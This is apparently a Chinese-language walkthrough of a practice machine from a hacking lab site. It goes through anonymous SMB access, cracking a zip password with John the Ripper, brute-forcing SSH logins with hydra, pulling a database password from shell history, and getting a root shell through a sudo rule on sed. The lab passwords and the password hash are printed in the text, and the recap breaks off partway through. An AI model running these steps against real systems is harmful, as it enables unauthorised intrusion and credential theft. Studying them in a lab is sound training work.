初学者
https://labs.thehackerslabs.com/machine/117

过程

nmap 端口扫描，139,445 smb 服务
匿名进入 smb 服务，下载 backup 内的 zip 文件

smbclient -L 192.168.0.10 -U anonymous
smbclient //192.168.0.10/backup -U anonymous 
ls
get secretito.zip
unzip secretito.zip

解压发现需要密码

1 2	zip2john secretito.zip > hash john hash

得到密码（但是目前无账号名和 ssh 端口)

elbunkermolagollon123

nmap -p- $IP 全端口扫描得到新端口，nc 检查后具有 ssh 服务

hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p elbunkermolagollon123 ssh://192.168.0.10:65535 -F -I -V -t 64

hydra 爆破得到了账号

[65535][ssh] host: 192.168.0.10 login: cowboy password: elbunkermolagollon123

ssh 连接成功

查看到当前目录下的 .bash_history 未重定向到 /dev/null

cowboy@Sedition:~$ ls -la
total 24
drwx------ 2 cowboy cowboy 4096 jul  6 20:08 .
drwxr-xr-x 4 root   root   4096 jul  6 18:56 ..
-rw------- 1 cowboy cowboy   73 jul  6 20:13 .bash_history
-rw-r--r-- 1 cowboy cowboy  220 jul  6 18:56 .bash_logout
-rw-r--r-- 1 cowboy cowboy 3526 jul  6 18:56 .bashrc
-rw-r--r-- 1 cowboy cowboy  807 jul  6 18:56 .profile

cowboy@Sedition:~$ cat .bash_history 
history
exit
mariadb
mariadb -u cowboy -pelbunkermolagollon123
su debian
cowboy@Sedition:~$ mariadb -u cowboy -pelbunkermolagollon123

进入数据库找 debian 用户密码，爆破 md5

cowboy@Sedition:~$ mariadb -u cowboy -pelbunkermolagollon123
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 31
Server version: 10.11.11-MariaDB-0+deb12u1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| bunker             |
| information_schema |
+--------------------+
2 rows in set (0,008 sec)

MariaDB [(none)]> use bunker;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [bunker]> show tables
    -> ;
+------------------+
| Tables_in_bunker |
+------------------+
| users            |
+------------------+
1 row in set (0,000 sec)

MariaDB [bunker]> select * from uers;
ERROR 1146 (42S02): Table 'bunker.uers' doesn't exist
MariaDB [bunker]> select * from users;
+--------+----------------------------------+
| user   | password                         |
+--------+----------------------------------+
| debian | 7c6a180b36896a0a8c02787eeafb0e4c |
+--------+----------------------------------+
1 row in set (0,003 sec)

MariaDB [bunker]> exit

得到 debian 用户，切换成功

最后一个用 sed 提权即可

debian@Sedition:~$ sudo -l
Matching Defaults entries for debian on sedition:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User debian may run the following commands on sedition:
    (ALL) NOPASSWD: /usr/bin/sed
debian@Sedition:~$ sudo /usr/bin/sed sudo sed -n '1e exec sh 1>&0' /etc/hosts^C
debian@Sedition:~$ sudo sed -n '1e exec sh 1>&0' /etc/hosts
# id
uid=0(root) gid=0(root) grupos=0(root)

渗透测试流程总结

1. 信息收集（Nmap扫描）

使用 nmap 扫描目标 192.168.0.10，发现 SMB（139/445端口） 服务开放。

2. 匿名访问SMB共享

通过 smbclient 匿名访问，发现 backup 共享目录，下载 secretito.zip 文件。

smbclient -L 192.168.0.10 -U anonymous smbclient //192.168.0.10/backup -U anonymous get secretito.zip